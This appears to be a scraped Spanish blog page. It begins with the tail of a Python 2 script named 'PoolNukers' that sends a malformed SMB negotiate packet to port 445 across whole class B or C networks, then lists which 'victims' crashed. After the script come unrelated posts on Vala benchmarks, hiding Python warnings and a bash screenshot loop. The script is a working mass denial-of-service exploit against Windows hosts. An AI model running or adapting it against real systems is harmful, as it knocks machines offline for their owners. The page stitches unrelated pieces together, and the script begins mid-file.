        return self.numTrabajos > 0

    def nuevoElemento(self, elemento):
        self.numTrabajos += 1
        self.cola.put(elemento)

    def empezar(self , args=None):
        if not self.lock:
            self.lock = True

            for idWorker in range(self.numHilos):

                lista_args = []
                lista_args.append( self.cola )
                lista_args.append( idWorker )
                if args != None:
                    for arg in args:
                        lista_args.append( arg )

                worker = Thread(target=self.intentarEmpezarTrabajo, args=lista_args )
                worker.setDaemon(True)
                worker.start()

            # aqui se bloquea hasta que termine
            self.cola.join()

            self.lock = False

    def esLock(self):
        return self.lock

    # metodo para sobreescribir
    def ejecutar(self , idWorker , elemento , *arg):
        print "Debes sobreescribir el método"
        raise NotImplementedError

    def interrumpir(self):
        self.interrumpido = True

# herencia multiple
class PoolNukers(Pool , Thread):

    def __init__(self, numHilos, listaVictimasExito, listaVictimasFracaso):
        Pool.__init__(self , numHilos)
        Thread.__init__(self)
        self.numHilos = numHilos
        self.listaVictimasExito = listaVictimasExito
        self.listaVictimasFracaso = listaVictimasFracaso
        self.TIMEOUT = 10
        self.puerto = 445
        self.buff = (
            "\x00\x00\x00\x90" # Begin SMB header: Session message
            "\xff\x53\x4d\x42" # Server Component: SMB
            "\x72\x00\x00\x00" # Negociate Protocol
            "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
            "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
            "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
            "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
            "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
            "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
            "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
            "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
            "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
            "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
            "\x30\x30\x32\x00"
        )

    # cuando el hilo empieza -> empieza la pool de 200 cuervos
    def run(self):
        self.empezar( args=(self.listaVictimasExito,listaVictimasFracaso,) )

    def nuevaVictima(self, victima):
        self.nuevoElemento(victima)

    def ejecutar(self , numHilo , victima, listaVictimasExito, listaVictimasFracaso):

        def estaVivo(victima, puerto):
            try:
                s = socket()
                s.settimeout(3*self.TIMEOUT)
                s.connect((victima,puerto))
                s.send(self.buff)
                s.close()
                return True
            except:
                return False

        try:
            if DEBUG:
                print "Conectando con %s, (timeout de %d segs)" % (victima, self.TIMEOUT)
            s = socket()
            s.settimeout(self.TIMEOUT)
            s.connect((victima,self.puerto))
            if DEBUG:
                print "Enviando cadena a %s" % victima
            s.send(self.buff)
            s.close()

            # Comprobar si sigue vivo
            if DEBUG:
                print "%s ha sido atacado, comrpobando si sigue vivo" % victima

            # le dejamos tiempo para morir
            sleep(10)

            if not estaVivo(victima, self.puerto):
                listaVictimasExito.append(victima)
                if DEBUG:
                    print "Posible exito con %s !!!" % victima
            else:
                listaVictimasFracaso.append(victima)
        except:
            if DEBUG:
                print "Error enviando la cadena a %s" % victima

listaVictimasExito = []
listaVictimasFracaso = []

poolNukers = PoolNukers(NUM_THREADS, listaVictimasExito, listaVictimasFracaso)
if TIPO_RED == 'B':

    # RED TIPO B
    cont = 0
    for i in range(254):
        for j in range(254):
            host = RED_B % (i+1, j+1)
            poolNukers.nuevaVictima(host)
            cont += 1
elif TIPO_RED == 'C':

    # RED TIPO C
    cont = 0
    for i in range(254):
        host = RED_C % (i+1)
        poolNukers.nuevaVictima(host)
        cont += 1
else:

    # 1 única victima
    cont = 1
    poolNukers.nuevaVictima(RED_UNICO)

print "%d victimas potenciales" % cont
poolNukers.start()
poolNukers.join()

if len(listaVictimasExito) > 0:
    print "\n\nHost atacados y PETADOS"
    print "---------------------------------------------"
    for victima in listaVictimasExito:
         print "%s ha petado ;D" % victima
else:
    print "No se ha petado ninguna victima ;("

if len(listaVictimasFracaso) > 0:
    print "\n\nHost atacados pero continuan en pie"
    print "---------------------------------------------"
    for victima in listaVictimasFracaso:
         print "%s sigue en pie ;(" % victima

Foro: Media-Vida

Vala: Eficiencia de C++ y Estilo de C#

Hace tiempo hice mis primeros pinitos en mono, mediante ASP.NET pero como ya puse en ese post, no me terminaba de convencer que las decisiones de la comunidad libre sean inexistentes y quedemos vendidos a mono frente a una política comun en Microsoft: Adoptar, Extender y Extinguir.

Vala es una alternativa a mono iniciada por los desarrolladores de GNOME:
http://live.gnome.org/Vala

Aqui unos benchmarkings, como podeis observar,  su rendimiento comparado con mono es aplastante, y juega en la misma liga que los mismisimos C/C++.

Nombre del benchmarking C++ Mono plain-C Vala
mandelbrot 14.50 54.61 12.39 13.13
partialSums 33.04 56.13 35.00 34.95
recursive 12.94 30.14 8.44 8.72
binaryTrees 27.87 43.87 21.56 30.84
sumFile 17.11 22.89 13.99 15.06
fannkuch 11.46 27.05 11.26 12.44
spectralNorm 32.82 49.82 33.25 33.36
nsieve 25.32 28.03 25.31 25.09

De hecho lo estoy considerando para programar videojuegos, ya que es lo que siempre he deseado, un alto nivel que te ahorra tiempo con eficiencia de código nativo, sin maquinas virtuales. Lo digo por este ejemplo de Vala en OpenGL: http://live.gnome.org/Vala/OpenGLSamples

Como inconveniente, habría que analizar su capacidad de multiplataforma (incluso con KDE).

Por último os pasteo un poco de código de Vala para que veais que se aprende en 2 tardes sabiendo algo de C/C++/C#.

public class NumberGuessing {

    private int min;
    private int max;

    public NumberGuessing (int min, int max) {
        this.min = min;
        this.max = max;
    }

    public void start () {
        int try_count = 0;
        int number = Random.int_range (min, max);

        stdout.printf ("Welcome to Number Guessing!\n\n");
        stdout.printf ("I have thought up a number between %d and %d\n", min, max);
        stdout.printf ("which you have to guess now. Don't worry, I will\n");
        stdout.printf ("give you some hints.\n\n");

        while (true) {
            try_count++;

            stdout.printf ("Try #%d\n", try_count);
            stdout.printf ("Please enter a number between %d and %d: ", min, max);
            int input = stdin.read_line ().to_int ();

            if (number == input) {
                stdout.printf ("Congratulations! You win.\n");
                break;
            } else {
                stdout.printf ("Wrong. The wanted number is %s than %d.\n",
                               number > input ? "greater" : "less", input);
            }
        }
    }

    public static int main (string[] args) {
        var game = new NumberGuessing (1, 100);
        game.start ();
        return 0;
    }
}

Fuente:
http://live.gnome.org/Vala
http://code.google.com/p/vala-benchmarks/wiki/BenchResults

Ignorar mensajes Deprecated/Warnings en Python

Buscando en google una forma de ocultar unos warnings que no hay forma elegante de ocultarlos. Muy típico cuando utilizamos librerías de python que en su día fueron realizadas en python 2.5, y ahora python 2.6 ensucia un poco la salida. Para evitarlo:

#!/usr/bin/python -W ignore::DeprecationWarning

Tambien ayudará esto:

import warnings
warnings.filterwarnings('ignore')

Script para hacer screenshots durante “M” minutos cada “T” segundos

He hecho un script que me ha sido muy útil para monitorear una ventana que no logea por ningun lado.


m=1; T=5; for i in $(seq $[($m*60)/$T]); do import -window root -quality 80 `date +"%d-%m-%Y_%H:%M:%S"`.jpg; sleep $[$T-1]; done;

El script es 1 linea con 2 constantes a variar según las necesidades:
m: Es el número de minutos que va a estar haciendo screenshots
T: Es la frecuencia de screen en segundos.

En el ejemplo durante 1 minuto hace screen cada 5 segundos, por tanto hará 12 screenshots de unos 100KB cada una.

Nota: si no veis bien la linea(se puede copiar entera, pero mi blog la corta), la he subido a pastebin
Nota2: el script no es preciso en el tiempo. Por cada minuto que pongais se puede ir unos segundos arriba o abajo. El error viene de presuponer que se tarda 1 segundo en hacer un screenshot.